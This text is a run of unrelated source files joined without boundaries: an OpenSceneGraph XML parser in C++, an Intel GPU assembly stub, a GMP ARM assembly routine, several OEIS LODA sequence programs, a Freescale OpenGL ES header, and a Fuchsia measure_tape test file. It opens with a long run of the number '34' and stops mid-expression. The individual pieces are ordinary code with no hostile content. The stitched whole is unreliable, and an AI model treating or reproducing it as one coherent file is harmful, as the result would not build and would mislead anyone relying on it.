34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2009 Robert Osfield * * This library is open source and may be redistributed and/or modified under * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or * (at your option) any later version. The full license is in LICENSE file * included with this distribution, and on the openscenegraph.org website. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * OpenSceneGraph Public License for more details. */ #include <osgDB/XmlParser> #include <osgDB/FileUtils> #include <osg/Notify> using namespace osgDB; XmlNode* osgDB::readXmlFile(const std::string& filename,const Options* options) { std::string foundFile = osgDB::findDataFile(filename, options); if (!foundFile.empty()) { XmlNode::Input input; input.open(foundFile); input.readAllDataIntoBuffer(); if (!input) { OSG_NOTICE<<"Could not open XML file: "<<filename<<std::endl; return 0; } osg::ref_ptr<XmlNode> root = new XmlNode; root->read(input); return root.release(); } else { OSG_NOTICE<<"Could not find XML file: "<<filename<<std::endl; return 0; } } std::string osgDB::trimEnclosingSpaces(const std::string& str) { if (str.empty()) return str; const std::string whitespaces(" \t\f\v\n\r"); std::string::size_type start = str.find_first_not_of(whitespaces); if (start==std::string::npos) return std::string(); std::string::size_type end = str.find_last_not_of(whitespaces); if (end==std::string::npos) return std::string(); return std::string(str, start, (end-start)+1); } XmlNode* osgDB::readXmlStream(std::istream& fin) { XmlNode::Input input; input.attach(fin); input.readAllDataIntoBuffer(); if (!input) { OSG_NOTICE<<"Could not attach to XML stream."<<std::endl; return 0; } osg::ref_ptr<XmlNode> root = new XmlNode; root->read(input); return root.release(); } XmlNode::ControlMap::ControlMap() { setUpControlMappings(); } void XmlNode::ControlMap::addControlToCharacter(const std::string& control, int c) { _controlToCharacterMap[control] = c; _characterToControlMap[c] = control; } void XmlNode::ControlMap::setUpControlMappings() { addControlToCharacter("&amp;",'&'); addControlToCharacter("&lt;",'<'); addControlToCharacter("&gt;",'>'); addControlToCharacter("&quot;",'"'); addControlToCharacter("&apos;",'\''); } XmlNode::Input::Input(): _currentPos(0) { } XmlNode::Input::Input(const Input&): ControlMap(), _currentPos(0) { } XmlNode::Input::~Input() { } void XmlNode::Input::open(const std::string& filename) { _fin.open(filename.c_str()); } void XmlNode::Input::attach(std::istream& fin) { std::ios &fios = _fin; fios.rdbuf(fin.rdbuf()); } void XmlNode::Input::readAllDataIntoBuffer() { while(_fin) { int c = _fin.get(); if (c>=0 && c<=255) { _buffer.push_back(c); } } } void XmlNode::Input::skipWhiteSpace() { while(_currentPos<_buffer.size() && (_buffer[_currentPos]==' ' || _buffer[_currentPos]=='\t' || _buffer[_currentPos]=='\n' || _buffer[_currentPos]=='\r')) { //OSG_NOTICE<<"_currentPos="<<_currentPos<<"_buffer.size()="<<_buffer.size()<<" v="<<int(_buffer[_currentPos])<<std::endl; ++_currentPos; } //OSG_NOTICE<<"done"<<std::endl; } XmlNode::XmlNode() { type = UNASSIGNED; } bool XmlNode::read(Input& input) { if (type == UNASSIGNED) type = ROOT; while(input) { //input.skipWhiteSpace(); if (input.match("<!--")) { XmlNode* commentNode = new XmlNode; commentNode->type = XmlNode::COMMENT; children.push_back(commentNode); input += 4; XmlNode::Input::size_type end = input.find("-->"); commentNode->contents = input.substr(0, end); if (end!=std::string::npos) { OSG_INFO<<"Valid Comment record ["<<commentNode->contents<<"]"<<std::endl; input += (end+3); } else { OSG_NOTICE<<"Error: Unclosed Comment record ["<<commentNode->contents<<"]"<<std::endl; input += end; } } else if (input.match("</")) { input += 2; XmlNode::Input::size_type end = input.find(">"); std::string comment = input.substr(0, end); if (end!=std::string::npos) { OSG_INFO<<"Valid end tag ["<<comment<<"]"<<std::endl; input += (end+1); } else { OSG_NOTICE<<"Error: Unclosed end tag ["<<comment<<"]"<<std::endl; input += end; } if (comment==name) { OSG_INFO<<"end tag is matched correctly"<<std::endl; } else { OSG_NOTICE<<"Error: end tag is not matched correctly"<<std::endl; } return true; } else if (input.match("<!DOCTYPE")) { XmlNode* commentNode = new XmlNode; commentNode->type = XmlNode::INFORMATION; children.push_back(commentNode); ++input; XmlNode::Input::size_type end = input.find(">"); commentNode->contents = input.substr(0, end); if (end!=std::string::npos) { OSG_INFO<<"Valid infomation record ["<<commentNode->contents<<"]"<<std::endl; input += (end+2); } else { OSG_NOTICE<<"Error: Unclosed infomation record ["<<commentNode->contents<<"]"<<std::endl; input += end; } } else if (input.match("<![CDATA[")) { XmlNode* commentNode = new XmlNode; commentNode->type = XmlNode::INFORMATION; children.push_back(commentNode); input += 9; XmlNode::Input::size_type end = input.find("]]>"); commentNode->contents = input.substr(0, end); if (end!=std::string::npos) { OSG_INFO<<"Valid infomation record ["<<commentNode->contents<<"]"<<std::endl; input += (end+2); } else { OSG_NOTICE<<"Error: Unclosed infomation record ["<<commentNode->contents<<"]"<<std::endl; input += end; } } else if (input.match("<?")) { XmlNode* commentNode = new XmlNode; commentNode->type = XmlNode::INFORMATION; children.push_back(commentNode); input += 2; XmlNode::Input::size_type end = input.find("?>"); commentNode->contents = input.substr(0, end); if (end!=std::string::npos) { OSG_INFO<<"Valid infomation record ["<<commentNode->contents<<"]"<<std::endl; input += (end+2); } else { OSG_NOTICE<<"Error: Unclosed infomation record ["<<commentNode->contents<<"]"<<std::endl; input += end; } } else if (input.match("<")) { XmlNode* childNode = new XmlNode; childNode->type = XmlNode::NODE; children.push_back(childNode); input += 1; input.skipWhiteSpace(); int c = 0; while ((c=input[0])>=0 && c!=' ' && c!='\n' && c!='\r' && c!='>' && c!='/') { childNode->name.push_back(c); ++input; } while ((c=input[0])>=0 && c!='>' && c!='/') { Input::size_type prev_pos = input.currentPosition(); input.skipWhiteSpace(); std::string option; std::string value; if (input[0]=='"') { option.push_back(input[0]); ++input; while((c=input[0])>=0 && c!='"') { if (c=='&') readAndReplaceControl(option, input); else { option.push_back(c); ++input; } } option.push_back(input[0]); ++input; } else { while((c=input[0])>=0 && c!='>' && c!='/' && c!='"' && c!='\'' && c!='=' && c!=' ' && c!='\n' && c!='\r') { option.push_back(c); ++input; } } input.skipWhiteSpace(); if (input[0]=='=') { ++input; input.skipWhiteSpace(); if (input[0]=='"') { ++input; while((c=input[0])>=0 && c!='"') { if (c=='&') readAndReplaceControl(value, input); else { value.push_back(c); ++input; } } ++input; } else if (input[0]=='\'') { ++input; while((c=input[0])>=0 && c!='\'') { if (c=='&') readAndReplaceControl(value, input); else { value.push_back(c); ++input; } } ++input; } else { ++input; while((c=input[0])>=0 && c!=' ' && c!='\n' && c!='\r' && c!='"' && c!='\'' && c!='>') { value.push_back(c); ++input; } } } if (prev_pos == input.currentPosition()) { OSG_NOTICE<<"Error, parser iterator not advanced, position: "<<input.substr(0,50)<<std::endl; ++input; } if (!option.empty()) { OSG_INFO<<"Assigning option "<<option<<" with value "<<value<<std::endl; childNode->properties[option] = value; } } if ((c=input[0])>=0 && (c=='>' || c=='/')) { ++input; OSG_INFO<<"Valid tag ["<<childNode->name<<"]"<<std::endl; if (c=='/') { if ((c=input[0])>=0 && c=='>') { ++input; OSG_INFO<<"tag is closed correctly"<<std::endl; childNode->type = ATOM; } else OSG_NOTICE<<"Error: tag is not closed correctly"<<std::endl; } else { bool result = childNode->read(input); if (!result) return false; } if (type==NODE && !children.empty()) type = GROUP; } else { OSG_NOTICE<<"Unclosed tag ["<<childNode->name<<"]"<<std::endl; return false; } } else { int c = input[0]; if (c=='&') { readAndReplaceControl(contents, input); } else { contents.push_back( c ); ++input; } } } if (type==NODE && !children.empty()) type = GROUP; return false; } bool XmlNode::write(std::ostream& fout, const std::string& indent) const { ControlMap controlMap; return write(controlMap, fout, indent); } bool XmlNode::write(const ControlMap& controlMap, std::ostream& fout, const std::string& indent) const { switch(type) { case(UNASSIGNED): OSG_NOTICE<<"UNASSIGNED"<<std::endl; return false; case(ATOM): { fout<<indent<<"<"<<name; writeProperties(controlMap, fout); fout<<" />"<<std::endl; return true; } case(ROOT): { writeChildren(controlMap, fout, indent); return true; } case(NODE): fout<<indent<<"<"<<name; writeProperties(controlMap,fout); fout<<">"; writeString(controlMap, fout, contents); fout<<"</"<<name<<">"<<std::endl; return true; case(GROUP): { fout<<indent<<"<"<<name; writeProperties(controlMap,fout); fout<<">"<<std::endl; writeChildren(controlMap, fout, indent + " "); fout<<indent<<"</"<<name<<">"<<std::endl; return true; } case(COMMENT): { fout<<indent<<"<!--"<<contents<<"-->"<<std::endl; return true; } case(INFORMATION): { fout<<indent<<"<?"<<contents<<"?>"<<std::endl; return true; } } return false; } bool XmlNode::writeString(const ControlMap& controlMap, std::ostream& fout, const std::string& str) const { for(std::string::const_iterator itr = str.begin(); itr != str.end(); ++itr) { int c = *itr; ControlMap::CharacterToControlMap::const_iterator citr = controlMap._characterToControlMap.find(c); if (citr != controlMap._characterToControlMap.end()) fout << citr->second; else fout.put(c); } return true; } bool XmlNode::writeChildren(const ControlMap& /*controlMap*/, std::ostream& fout, const std::string& indent) const { for(Children::const_iterator citr = children.begin(); citr != children.end(); ++citr) { if (!(*citr)->write(fout, indent)) return false; } return true; } bool XmlNode::writeProperties(const ControlMap& controlMap, std::ostream& fout) const { for(Properties::const_iterator oitr = properties.begin(); oitr != properties.end(); ++oitr) { fout<<" "<<oitr->first<<"=\""; if (!writeString(controlMap,fout,oitr->second)) return false; fout<<"\""; } return true; } bool XmlNode::readAndReplaceControl(std::string& contents, XmlNode::Input& input) { int c = 0; std::string value; while(input && (c=input.get())!=';') { value.push_back(c); } value.push_back(c); if (input._controlToCharacterMap.count(value)!=0) { c = input._controlToCharacterMap[value]; OSG_INFO<<"Read control character "<<value<<" converted to "<<char(c)<<std::endl; contents.push_back(c); return true; } else { OSG_NOTICE<<"Warning: read control character "<<value<<", but have no mapping to convert it to."<<std::endl; return false; } }
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (1|M0) ip.0<1>:ud r8.7<0;1,0>:d nop nop nop nop nop nop nop nop
dnl ARM mpn_rsh1add_n and mpn_rsh1sub_n. dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2012 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C StrongARM ? C XScale ? C Cortex-A7 ? C Cortex-A8 ? C Cortex-A9 3.64-3.7 C Cortex-A15 2.5 C TODO C * Not optimised. define(`rp', `r0') define(`up', `r1') define(`vp', `r2') define(`n', `r3') ifdef(`OPERATION_rsh1add_n', ` define(`ADDSUB', adds) define(`ADDSUBC', adcs) define(`RSTCY', `cmn $1, $1') define(`func', mpn_rsh1add_n) define(`func_nc', mpn_rsh1add_nc)') ifdef(`OPERATION_rsh1sub_n', ` define(`ADDSUB', subs) define(`ADDSUBC', sbcs) define(`RSTCY', `mvn $2, #0x80000000 cmp $2, $1') define(`func', mpn_rsh1sub_n) define(`func_nc', mpn_rsh1sub_nc)') MULFUNC_PROLOGUE(mpn_rsh1add_n mpn_rsh1sub_n) ASM_START() PROLOGUE(func) push {r4-r11} ldr r4, [up], #4 ldr r8, [vp], #4 ADDSUB r4, r4, r8 movs r12, r7, rrx and r11, r4, #1 C return value subs n, n, #4 blo L(end) L(top): ldmia up!, {r5,r6,r7} ldmia vp!, {r8,r9,r10} cmn r12, r12 ADDSUBC r5, r5, r8 ADDSUBC r6, r6, r9 ADDSUBC r7, r7, r10 movs r12, r7, rrx movs r6, r6, rrx movs r5, r5, rrx movs r4, r4, rrx subs n, n, #3 stmia rp!, {r4,r5,r6} mov r4, r7 bhs L(top) L(end): cmn n, #2 bls L(e2) ldm up, {r5,r6} ldm vp, {r8,r9} cmn r12, r12 ADDSUBC r5, r5, r8 ADDSUBC r6, r6, r9 movs r12, r6, rrx movs r5, r5, rrx movs r4, r4, rrx stmia rp!, {r4,r5} mov r4, r6 b L(e1) L(e2): bne L(e1) ldr r5, [up, #0] ldr r8, [vp, #0] cmn r12, r12 ADDSUBC r5, r5, r8 movs r12, r5, rrx movs r4, r4, rrx str r4, [rp], #4 mov r4, r5 L(e1): RSTCY( r12, r1) mov r4, r4, rrx str r4, [rp, #0] mov r0, r11 pop {r4-r11} ret r14 EPILOGUE()
; A195016: (n*(5*n+7)-(-1)^n+1)/2. ; 0,7,17,34,54,81,111,148,188,235,285,342,402,469,539,616,696,783,873,970,1070,1177,1287,1404,1524,1651,1781,1918,2058,2205,2355,2512,2672,2839,3009,3186,3366,3553,3743,3940,4140,4347,4557,4774,4994,5221,5451,5688,5928,6175,6425,6682,6942,7209,7479,7756,8036,8323,8613,8910,9210,9517,9827,10144,10464,10791,11121,11458,11798,12145,12495,12852,13212,13579,13949,14326,14706,15093,15483,15880,16280,16687,17097,17514,17934,18361,18791,19228,19668,20115,20565,21022,21482,21949,22419,22896,23376,23863 lpb $0 sub $0,1 add $2,5 add $1,$2 mov $3,2 sub $3,$4 add $1,$3 mov $4,$3 lpe mov $0,$1
; A290858: Decimal representation of the diagonal from the corner to the origin of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 1006", based on the 5-celled von Neumann neighborhood. ; 1,1,1,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 div $0,4 pow $1,$0 gcd $1,3 mov $0,$1
; A119697: Fib(n)*n*binomial(2*n, n)/(n+1). ; Submitted by Jamie Morken(s1) ; 0,1,4,30,168,1050,6336,39039,240240,1487772,9237800,57551494,359444736,2250244100,14115694320,88707831750,558368324640,3519726403710,22215931214400,140389620550410,888125492826000,5623962934819320 mov $1,$0 mul $0,2 sub $1,1 bin $0,$1 add $1,1 seq $1,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mul $0,$1
#ifndef FSLUTIL_OPENGLES3_1_GLSHADERPROGRAM_HPP #define FSLUTIL_OPENGLES3_1_GLSHADERPROGRAM_HPP /**************************************************************************************************************************************************** * Copyright (c) 2014 Freescale Semiconductor, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of the Freescale Semiconductor, Inc. nor the names of * its contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************************************************************************************/ // Make sure Common.hpp is the first include file (to make the error message as helpful as possible when disabled) #include <FslUtil/OpenGLES3/Common.hpp> #include <FslUtil/OpenGLES3/GLValues.hpp> #include <GLES3/gl31.h> #include <FslBase/Attributes.hpp> #include <string> namespace Fsl { namespace GLES3 { class GLShaderProgram { GLint m_shaderType; GLuint m_handle; public: GLShaderProgram(const GLShaderProgram&) = delete; GLShaderProgram& operator=(const GLShaderProgram&) = delete; //! @brief Move assignment operator GLShaderProgram& operator=(GLShaderProgram&& other) noexcept { if (this != &other) { // Free existing resources then transfer the content of other to this one and fill other with default values if (IsValid()) { Reset(); } // Claim ownership here m_shaderType = other.m_shaderType; m_handle = other.m_handle; // Remove the data from other other.m_shaderType = 0; other.m_handle = GLValues::INVALID_HANDLE; } return *this; } //! @brief Move constructor //! Transfer ownership from other to this GLShaderProgram(GLShaderProgram&& other) noexcept : m_shaderType(other.m_shaderType) , m_handle(other.m_handle) { // Remove the data from other other.m_shaderType = 0; other.m_handle = GLValues::INVALID_HANDLE; } GLShaderProgram(); GLShaderProgram(const GLint shaderType, const std::string& strShaderCode); ~GLShaderProgram(); //! @brief Check if this contains a valid gl handle. bool IsValid() const { return m_handle != GLValues::INVALID_HANDLE; } void Reset() noexcept; void Reset(const GLint shaderType, const std::string& strShaderCode); GLint GetType() const { return m_shaderType; } GLuint Get() const { return m_handle; } [[deprecated("use one of the other overloads instead")]] GLuint GetHandle() const { return Get(); } }; } } #endif
// Copyright 2020 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <gtest/gtest.h> #include <measure_tape/hlcpp/measure_tape_for_toplevelunion.h> #include <measuretape/cpp/fidl.h> namespace measure_tape { namespace measuretape { const char kHelloWorldEn[] = "hello, world!"; const char kHelloWorldFr[] = "bonjour, le monde!"; const char kHelloWorldDe[] = "hallo, welt!"; const char kHelloWorldEs[] = "Hola, Mundo!"; const char kHelloWorldRu[] = "Привет мир!"; const char kHelloWorldZh[] = "你好,世界!"; static_assert(sizeof(kHelloWorldEn) == 13 + 1); static_assert(sizeof(kHelloWorldFr) == 18 + 1); static_assert(sizeof(kHelloWorldDe) == 12 + 1); static_assert(sizeof(kHelloWorldEs) == 12 + 1); static_assert(sizeof(kHelloWorldRu) == 20 + 1); static_assert(sizeof(kHelloWorldZh) == 16 + 1); TEST(MeasureTape, Primitive) { ::measuretape::TopLevelUnion value; value.set_primitive(5); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 8); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, Handle) { ::measuretape::TopLevelUnion value; zx::handle h; value.set_handle(std::move(h)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 8); EXPECT_EQ(size.num_handles, 1); } TEST(MeasureTape, StructWithString) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithString struct_with_string; struct_with_string.string = kHelloWorldEn; // 13 chars value.set_struct_with_string(std::move(struct_with_string)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, StructWithOptString_NoString) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithOptString struct_with_opt_string; value.set_struct_with_opt_string(std::move(struct_with_opt_string)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, StructWithOptString_HasString) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithOptString struct_with_opt_string; struct_with_opt_string.opt_string = kHelloWorldFr; // 18 chars value.set_struct_with_opt_string(std::move(struct_with_opt_string)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + 24); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, Table_Empty) { ::measuretape::TopLevelUnion value; ::measuretape::Table table; value.set_table(std::move(table)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, Table_OnlyMaxOrdinalIsSet) { ::measuretape::TopLevelUnion value; ::measuretape::Table table; table.set_primitive(42); value.set_table(std::move(table)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (5 * 16) + 8); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, Table_StringIsSet) { ::measuretape::TopLevelUnion value; ::measuretape::Table table; table.set_string(kHelloWorldDe); // 12 chars value.set_table(std::move(table)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (3 * 16) + 16 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, ArrayOfTwelveBytes) { ::measuretape::TopLevelUnion value; std::array<uint8_t, 12> array_of_twelve_bytes = {}; value.set_array_of_twelve_bytes(std::move(array_of_twelve_bytes)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, ArrayOfThreeStrings) { ::measuretape::TopLevelUnion value; std::array<std::string, 3> array_of_three_strings = { kHelloWorldEs, // 12 bytes kHelloWorldRu, // 20 bytes kHelloWorldZh, // 16 bytes }; value.set_array_of_three_strings(std::move(array_of_three_strings)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (3 * 16) + 16 + 24 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, ArrayOfThreeHandles) { ::measuretape::TopLevelUnion value; std::array<zx::handle, 3> array_of_three_handles = {}; value.set_array_of_three_handles(std::move(array_of_three_handles)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16); EXPECT_EQ(size.num_handles, 3); } TEST(MeasureTape, ArrayOfTwoTables_BothEmpty) { ::measuretape::TopLevelUnion value; std::array<::measuretape::Table, 2> array_of_two_tables = {}; value.set_array_of_two_tables(std::move(array_of_two_tables)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (2 * 16)); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, ArrayOfTwoTables_Mixed) { ::measuretape::TopLevelUnion value; ::measuretape::Table t1; t1.set_primitive(27); ::measuretape::Table t2; zx::handle handle; t2.set_handle(std::move(handle)); std::array<::measuretape::Table, 2> array_of_two_tables = { std::move(t1), std::move(t2), }; value.set_array_of_two_tables(std::move(array_of_two_tables)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (2 * 16) + (5 * 16) + 8 + (4 * 16) + 8); EXPECT_EQ(size.num_handles, 1); } TEST(MeasureTape, ArrayOfTwoUnions) { ::measuretape::TopLevelUnion value; ::measuretape::Union u1; u1.set_primitive(654321); ::measuretape::Union u2; u2.set_primitive(123456); std::array<::measuretape::Union, 2> array_of_two_unions = { std::move(u1), std::move(u2), }; value.set_array_of_two_unions(std::move(array_of_two_unions)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (2 * 24) + 8 + 8); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, StructWithTwoArrays) { ::measuretape::TopLevelUnion value; ::measuretape::StructWithTwoArrays struct_with_two_arrays; value.set_struct_with_two_arrays(std::move(struct_with_two_arrays)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 64); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, ArrayOfThreeStructsWithOneHandle) { ::measuretape::TopLevelUnion value; std::array<::measuretape::StructWithOneHandle, 3> array_of_three_structs_with_one_handle = {}; value.set_array_of_three_structs_with_one_handle( std::move(array_of_three_structs_with_one_handle)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (3 * 12 + 4)); EXPECT_EQ(size.num_handles, 3); } TEST(MeasureTape, ArrayOfThreeStructsWithTwoHandles) { ::measuretape::TopLevelUnion value; std::array<::measuretape::StructWithTwoHandles, 3> array_of_three_structs_with_two_handles = {}; value.set_array_of_three_structs_with_two_handles( std::move(array_of_three_structs_with_two_handles)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + (3 * 12 + 4)); EXPECT_EQ(size.num_handles, 6); } TEST(MeasureTape, VectorOfBytes_ThreeBytes) { ::measuretape::TopLevelUnion value; std::vector<uint8_t> vector_of_bytes = {1, 2, 3}; value.set_vector_of_bytes(std::move(vector_of_bytes)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + 8); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfBytes_NineBytes) { ::measuretape::TopLevelUnion value; std::vector<uint8_t> vector_of_bytes = {1, 2, 3, 4, 5, 6, 7, 8, 9}; value.set_vector_of_bytes(std::move(vector_of_bytes)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + 16); EXPECT_EQ(size.num_handles, 0); } TEST(MeasureTape, VectorOfStrings) { ::measuretape::TopLevelUnion value; std::vector<std::string> vector_of_strings = { kHelloWorldEs, // 12 bytes kHelloWorldRu, // 20 bytes kHelloWorldZh, // 16 bytes }; value.set_vector_of_strings(std::move(vector_of_strings)); auto size = Measure(value); EXPECT_EQ(size.num_bytes, 24 + 16 + (3 * 16) + 16 + 